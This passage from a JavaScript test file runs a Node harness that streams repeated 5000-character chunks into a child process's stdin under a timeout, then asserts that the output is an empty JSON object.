stdio: ['pipe', 'pipe', 'inherit']
});
let stdout = '';
let writes = 0;
child.stdout.setEncoding('utf8');
child.stdout.on('data', chunk => { stdout += chunk; });
child.stdin.on('error', () => process.exit(3));
const writer = setInterval(() => {
writes += 1;
child.stdin.write('X'.repeat(5000));
if (writes === 20) {
clearInterval(writer);
child.stdin.end();
}
}, 5);
const deadline = setTimeout(() => {
child.kill();
process.exit(2);
}, 1500);
child.on('exit', code => {
clearInterval(writer);
clearTimeout(deadline);
if (code !== 0) process.exit(code || 1);
process.stdout.write(stdout);
});
`;
const result = execFileSync('node', ['-e', harness], {
...stdinOpts,
timeout: 2000
});
assert.deepStrictEqual(JSON.parse(result), {});
})) passed++; else failed++;